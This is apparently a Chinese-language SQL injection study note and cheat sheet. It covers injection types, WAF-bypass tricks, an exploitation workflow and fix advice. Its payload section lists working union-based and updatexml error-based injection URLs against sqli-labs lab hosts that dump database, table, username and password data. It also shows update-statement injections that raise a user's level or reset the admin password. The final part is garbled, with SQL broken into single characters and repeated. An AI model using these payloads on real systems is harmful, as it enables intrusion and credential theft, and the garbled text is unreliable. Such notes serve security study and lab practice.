SQL注入:
什么是sql注入:
sql注入产生的原因:
如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查
sql注入的危害:
Sql 注入带来的威胁主要有如下几点
猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
绕过认证,列如绕过验证登录网站后台。
注入可以借助数据库的存储过程进行提权等操作
sql注入绕过:
大小写绕过,内联注释绕过,双写关键字绕过,编码绕过,空格过滤绕过,换行+加注释绕过,浮点数绕过
添加库名绕过:select * from users where id=-1 union select 1,2,3,4 from moonsec.users;
去重复绕过:select * from users where id=-1 union distinct select 1,2,3,version() from users;
反引号绕过:insert into users(username
,password
,email
)values(‘moonsec’,‘123456’,‘admin@moonsec.com’);
使用 join 绕过:union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
like绕过:使用 like 模糊查询 select user() like ‘%r%’; 模糊查询成功返回 1 否则返回
二次编码绕过:使用生僻函数绕过使用生僻函数替代常见的函数,例如在报错注入中使用 polygon()函数替换常用的 updatexml()函
信任白名单绕过
/admin
/phpmyadmin
/admin.php
http://192.168.0.165/06/vul/sqli/sqli_str.php/phpmyadmin?name=%27%20union%20select%201,user()–+&submit=1
. 静态文件绕:/1.jpg=/1.jpg&name=vince+&submit=1
sql注入的分类(方式)
union注入,布尔注入,时间盲注,二次注入,堆叠注入,base64注入,宽字节注入,http请求头注入(cookies注入,user-agent注入,referer注入),xff注入,报错注入,dnslog注入
联合注入:
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。
二次注入:
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
布尔盲注
在页面没有错误回显时完成的注入攻击。输入的语句让页面呈现出两种状态, 相当于true和false, 根据这两种 状态可以判断我们输入的语句是否查询成功
时间注入:
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧
堆叠查询
可以执行多条 SQL 语句,语句之间以分号(;)隔
宽字节注入:
mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
php的魔术引号(magic_quotes_gpc)开启,会在特殊字符(比如 ’ , " , \ , null)前面加 \ ,导致闭合失败。
base64注入:
在base64注入页面中,程序获取GET参数ID,利用base64_decode ()对参数ID进行base64解码,然后直接将解码后的$id拼接到select语句中进行查询
SQL 注入常规利用思路:
1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4 还可以获取数据库的 root 账号 密码—思路
5、可以通过获得的用户信息,寻找后台登录。
6、利用后台或了解的进一步信息
sql修复建议:
1.对进入数据库的特殊字符进行转义处理
2.数据长度应该严格规定
3.严格限制网站用户的数据库的操作权限
4.避免网站显示 SQL 错误信息
5.使用预编译
6.使用utf-8编码
mysql的三个表
1.tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名
2.columns 存储该用户创建的所有数据库的库名、标名和字段名
3.infomation_schema:保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。
sql注入语句(payload)
union注入
判断有无注入
http://10.0.0.243/sqli-labs/Less-1/?id=1 or 1=1
判断字段数目
http://10.0.0.243/sqli-labs/Less-1/?id=1’ order by 3–+
获得显示位
http://10.0.0.243/sqli-labs/Less-1/?id=-1’ union select 1,2,3 --+
查看版本号、数据库名
http://10.0.0.243/sqli-labs/Less-1/?id=-1’ union select 1,version(),database() --+
查看所有数据库名
http://10.0.0.243/sqli-labs/Less-1/?id=-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查询security内的所有表名
http://10.0.0.243/sqli-labs/Less-1/?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
获取user表的所有列名
http://10.0.0.243/sqli-labs/Less-1/?id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+
获取username,password字段
http://10.0.0.243/sqli-labs/Less-1/?id=-1’ union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
报错注入
测试是否存在
http://10.0.0.243/sqli-labs/Less-5/?id=1’ and 1=2
通过updatexml报错 获取数据库名 这里的0x7e就是~
http://10.0.0.243/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
获取securit数据库的表名
http://10.0.0.243/sqli-labs/Less-5/?id=-1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema=‘security’),0x7e),1) --+
获取user表的列名
http://10.0.0.243/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) --+
查询username和password
http://10.0.0.243/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+
http://10.0.0.243/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(password)),0x7e) from users ),0x7e),1) --+
sql 里面只有 update 怎么利用
先理解这句
SQL
·
UPDATE
user SET password=‘MD5(
p
a
s
s
w
o
r
d
)
′
,
h
o
m
e
p
a
g
e
=
′
password)', homepage='
password)′,homepage=′homepage’WHERE id=‘
i
d
′
如果此
S
Q
L
被修改成以下形式,就实现了注入
a
、修改
h
o
m
e
p
a
g
e
值为
h
t
t
p
:
/
/
x
x
x
.
n
e
t
′
,
u
s
e
r
l
e
v
e
l
=
′
3
之后
S
Q
L
语句变为
⋅
U
P
D
A
T
E
u
s
e
r
S
E
T
p
a
s
s
w
o
r
d
=
′
m
y
p
a
s
s
′
,
h
o
m
e
p
a
g
e
=
′
h
t
t
p
:
/
/
x
x
x
.
n
e
t
′
,
u
s
e
r
l
e
v
e
l
=
′
3
′
W
H
E
R
E
i
d
=
′
id' 如果此 SQL 被修改成以下形式,就实现了注入 a、修改 homepage 值为 http://xxx.net', userlevel='3 之后 SQL 语句变为 · UPDATE user SET password='mypass',homepage='http://xxx.net', userlevel='3' WHERE id='
id′如果此SQL被修改成以下形式,就实现了注入a、修改homepage值为http://xxx.net′,userlevel=′3之后SQL语句变为⋅UPDATEuserSETpassword=′mypass′,homepage=′http://xxx.net′,userlevel=′3′WHEREid=′id’
userlevel 为用户级别
b、修改 password 值为 mypass)’ WHERE
username=‘admin’#
之后 SQL 语句变为
·
UPDATE user SET password=‘MD5(mypass)’
WHERE username=‘admin’#)‘, homepage=‘
h
o
m
e
p
a
g
e
′
W
H
E
R
E
i
d
=
′
homepage' WHERE id='
homepage′WHEREid=′id’
c、修改 id 值为’ ORusername=‘admin’之后 SQL 语句变为
·
UPDATE user SET password=‘MD5(
p
a
s
s
w
o
r
d
)
′
,
h
o
m
e
p
a
g
e
=
′
password)',homepage='
password)′,homepage=′homepage’ WHERE id=’’ OR username=‘admin’